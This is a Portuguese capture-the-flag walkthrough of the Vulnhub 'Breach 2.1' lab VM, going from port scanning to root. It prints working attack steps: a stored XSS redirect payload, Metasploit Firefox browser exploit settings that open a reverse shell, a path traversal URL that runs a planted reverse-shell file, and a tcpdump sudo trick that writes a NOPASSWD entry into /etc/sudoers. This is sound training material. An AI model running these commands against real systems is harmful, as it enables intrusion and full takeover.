Link da Maquina: https://www.vulnhub.com/entry/breach-21,159/
Scan/Enumeracao
Host Discovery
- No site da maquina, no Vulnhub, esta informando que a rede esta configurada com o IP 192.168.110.151
Port Discovery
- Com o parametro “-p-“ do nmap varremos todas as portas possiveis do nosso alvo, e podemos observar que temos 03 portas abertas: 111, 33230 e 65535
1
sudo nmap -n -T5 -p- 192.168.110.151
Port Scan
- Agora com o parametro “-A” do nmap vamos descobrir mais informacoes sobre os servicos da maquina
1
sudo nmap -n -T5 -A -p 111,33230,65535 192.168.110.151
- Porta 111: rpcbind 2-4 (RPC #100000)
- Porta 33230: 1 (RPC #100024)
- Porta 65535: OpenSSH 6.7p1 Debian 5+deb8u2 (protocol 2.0)
SSH - Porta 65535
Temos um SSH na ultima porta possivel (65535), estamos na escata zero ainda. Entao vamos tentar conectar pra ver se ele nos retorna algum banner…
Opa, temos um banner interessante… Nele esta dizendo a empresa que e dona do servidor, que as conexoes sao monitoradas e o mais importante: existe um usuario chamado Peter e esta dizendo que a senha dele esta na “fonte”
1
ssh 192.168.110.151 -p65535
SSH login Peter
Depois de muito tempo tentando achar a senha e fazendo bruteforce nao conseguimos sair do lugar. Porem com algumas dicas da web consegui descubrir que a senha e: “inthesource”
Passamos ela porem a conexao e fechada. Pode ser algo sobre o aviso que estava no banner dizendo para o Peter para de acessar o blog nas suas ferias…
Web - Porta 80
- Depois de ter quebrado a cabeca, fiz o port discovery novamente e encontrei a 80 aberta…
- Rodamos o nmap novamente com o parametro “-A” para verificar mais informacoes sobre a porta 80 do alvo… Sabemos que esta rodando um Apache httpd 2.4.10 ((Debian))…
Browser
- Acessamos a pagina web…
- No codigo fonte tem um comentario
Fuzzy de diretorios - Gobuster
- Rodamos o gobuster…
- Encontramos uma pagina: /blog
Blog - Peter Gibbons TRavel Blog
Gobuster
- Rodamos o gobuster na pagina do blog para achar outros diretorios e arquivos
README
- Na pagina http://192.168.110.151/blog/README temos um passo para instalar alguma coisa. No texto tem algo relevante dizedo sobre upload de arquivos “.php”
Smiles
- No diretorio /smiles temos alguns gifs do blog
Wysiwyg
- Encontramos outros diretorios de jscript nesta pagina
Gobuster
Seguindo a dica do texto vamos rodar o gobuster nevamente para tentar encontrar arquivos “.php”
Encontramos alguns interessantes: /config.php, /functions.php, /index.php, /install.php e /rss.php
1
gobuster dir -u http://192.168.110.151/blog -w /usr/share/wordlists/dirb/big.txt -x php
/intall.php
- De todos os que achamos o que mais chamou a antencao foi o install.php
- Seguindo as instrucoes da pagina vamos realizar o procedimento para instalar o SQL
- Fresh Install…
- Admin Info…
- Agora vamos criar um usuario
- Terminamos o procedimento agora ele nos manda para a pagina de login e da um recado dizendo “para nao esquecer de deletar install.php”
- Conseguimos realizar o login na plataforma com o usuario que criamos, porem nao conseguimos nada de interessante por enquanto
Exploit-DB
- Vamos procurar por exploit para essa aplicacao no site Exploit-DB…
- Achamos alguns exploits que podem servir…
- Vamos analisar o exploit BlogPHP 2.0 - Persistent Cross-Site Scripting - EDB-ID: 17640
- Observamos que a aplicacao pode ser vulneravel a XSS
XSS - BlogPHP
- Vamos testar se a aplicacao realmente esta com essa vulnerabilidade
1
<META http-equiv="refresh" content="0;URL=http://192.168.110.3">
- Subimos a porta 80 na nossa maquina com o nc
1
sudo nc -k -lnvp 80
- Agora tentamos acessar a pagina de usuarios: “192.168.110.151/blog/members.html” e vemos que ela faz uma requisicao para o nosso “servidor”
IMPORTANTE - Correcao
- Na primeira vez testamos o XSS com o endereco do google, porem ficou gravado no servidor o redirecionamento para o GOOGLE. Tive que restaurar o snapshot anterior para fazer novamente e passar o meu endereco no XSS…
Exploit - Firefox 5.0
- Na requisicao do servidor observamos que esta sendo usado o firefox 5.0 no servidor, entao procuramos por exploit para esse navegador…
- Vamos criar um usuario… ```
1
2
3
4
5
6
7
8
9
10
![](/assets/img/Vulnhub/Breach-2/exploit-firefox.png)
#### MSFCONSOLE
* Vamos setar as opcoes no **msfconsole**, mas primeiramente vamos iniciar o banco de dados da ferramenta
```bash
sudo msfdb init
- Vamos iniciar a ferramenta msfconsole
!!
- Vamos escolher o modulo que sera utilizado e setar as configuracoes dele…
1
2
3
4
5
6
use exploit/multi/browser/firefox_proto_crmfrequest
set lhost 192.168.110.3
set lport 55135
set srvhost 192.168.110.3
set uripath /
set srvport 80
- Uma Sessao sera aberta com o shell do alvo
- Vamos interagir com a sessao
- Temos o shell do usuario Peter
Usuario Peter
SSH
- Primeira coisa a se fazer e dar uma olhada no arquivo de configuracao do SSH, pois desconfiamos que la tem alguma coisa que estava barrando o nosso acesso…
1
cat /etc/ssh/sshd_config
- Para contornar essa “protecao”
1
echo "exec sh" > .bashrc
- Agora conseguimos logar via SSH
1
ssh peter@192.168.110.151 -p65535
Escalando Privilegio
Linpeas.sh
- Vamos baixar o linpeas no seu repositorio do github para a nossa maquina. Depois disso vamos levantar um servidor web no diretorio que esta o srcitp, no alvo vamos baixa-lo e dar permissao de execucao…
- Agora vamos executar o script
Encontramos algumas coisas que podemos explorar para escalar privilegios…
Usuario da maquina:
- Portas Abertas:
- Uma tarefa agendada:
- Acesso ao MySQL:
MySQL
- Conseguimos logar com a credencial root: (sem senha)
- Listando os DB’s
- Vamos dar uma olhada no DB “oscommerce”
- Na tabela “osc_administrators” temos uma credencial porem a senha e um hash
- Conseguimos decodificar o hash e temos a credencial admin:admin
Conexoes disponiveis
- Vamos verificar novamente quais sao as portas que estao abertas na maquina… O que nos chamou a atencao foi a porta 3306 e 2323 que estao disponivel para o localhost
- A porta 3306 e o MySQL porem a porta 2323 nao sabemos ainda o que e… Pra isso vamos fazer uma busca com o grep para tentar achar o que esta nesta porta
- Lendo o arquivo podemos observar que provavelmente se trata de um telnet
- Entao vamos conectar com o telnet na porta 2323. Temos um login porem ele nos retorna uma coordenada…
- 29 45’46” N 95 22’59” W
- As coordenadas no google-maps e da cidade Houston.
Telnet
Vamos tentar logar no telnet com outro usuario disponivel na maquina: milton
Conseguimos logar com a credencial milton:Houston
- Nao conseguimos prosseguir. Temos que responder a pergunta. Para isso vamos procurar na maquina onde esta o script que contem essa pergunta… Achamos o arquivo /usr/local/bin/cd.py
1
grep -rnw '/' -e "Whose stapler is it?" 2> /dev/null
- No conteudo do arquivo temos a resposta que precisavamos: “mine”
Usuario Milton
- Conseguimos logar com o usuario Milton…
- Seguindo a metodologia para escalar privilegio… Nao achamos nada que podemos executar como sudo, nenhum arquivo com SETUID… Olhando as conexoes temos uma surpresa, outra porta abriu: 8888
- Rodamos o nmap na maquina novamente…
- Descobrimos que temos uma aplicacao web rodando nessa porta…
Web NGINX - Porta 8888
- Acessando no navegador temos duas paginas, uma e a pagina padra no nginx, e na outra temos a pagina do osCommerce
osCommerce
- Acessando a pagina http://192.168.110.151:8888/oscommerce/ uma plataforma de ecommerce
- Vamos fazer o fuzzy de diretorios
1
gobuster dir -u http://192.168.110.151:8888/oscommerce -w /usr/share/wordlists/dirb/big.txt -x php
- Achamos a pagina de login da aplicacao
- Se vc tiver memoria de elefante vai lembrar que conseguimos aquela credencial no bando de dados da aplicacao: admin:admin. Entao vamos logar na aplicacao com ela…
Exploit publico - osCommerce
Ja que conseguimos acessar a aplicacao podemos explora-la manualmente tentando inserir o nosso payload. Porem, ja que utilizamos exploits publicos nessa maquina vamos continuar nessa mesma linha de raciocinio…
Procurando por exploits publicos no site Exploit-DB encontramos um para a versao da aplicacao alvo
- Sabemos que a aplicacao e vulneravel a LFI. Entao vamos testar se a aplicacao sera capaz de executar o nosso shell code… Vamos criar um arquivo no /tmp mesmo e tentar acessa-lo com o LFI
- Vamos chama-lo no navegador. Tive que adicionar alguns “../” a mais do que o exemplo do exploit
1
http://192.168.110.151:8888/oscommerce/admin/includes/applications/services/pages/uninstall.php?module=../../../../../../../../../../../../tmp/charlie
Shell Reverso
- Agora vamos copiar algum daqueles web-shells do kali para o nosso diretorio atual, enviar para o alvo. Antes de enviar para o alvo temos que editar o arquivo com o nosso IP e porta…
- No alvo damos permissao para o arquivo que enviamos e depois executamos o arquivo atraves do navegador. Antes de executar devemos deixar a porta escutando na kali
1
http://192.168.110.151:8888/oscommerce/admin/includes/applications/services/pages/uninstall.php?module=../../../../../../../../../../../../tmp/charlie
- Pronto, conseguimos o shell do usuario Blumbergh
Usuario Blumbergh
Escalando Privilegio
- O primeiro passo da metodologia para escalar privilegio e verificar se conseguimos executar algum binario como sudo. Show de bola… Conseguimos executar o tcpdump
1
sudo -l
GTFOBINS
- Sabendo que podemos executar o tcpdump como sudo, vamos procurar no site gtfobins o qur podemos fazer
- De acordo com o site vamos criar um script que sera executado pelo tcpdump…
1
echo 'echo "blumbergh ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers' > /tmp/charlie-root && chmod +x /tmp/charlie-root
- Agora vamos executar o script com o tcpdump e pronto, podemos fazer qualquer coisa como sudo
1
sudo /usr/sbin/tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/charlie-root -Z root
ROOT
- Agora conseguimos virar ROOT
1
sudo su
Flag
- Conseguimos pegar a flag
Bonus
- Tem como explorar o CMS OsCommerce de forma manual, ja que conseguimos logar na aplicacao. Tem um diretorio com permissao de escrita e podemos chamar o nosso php do mal pela aplicacao web…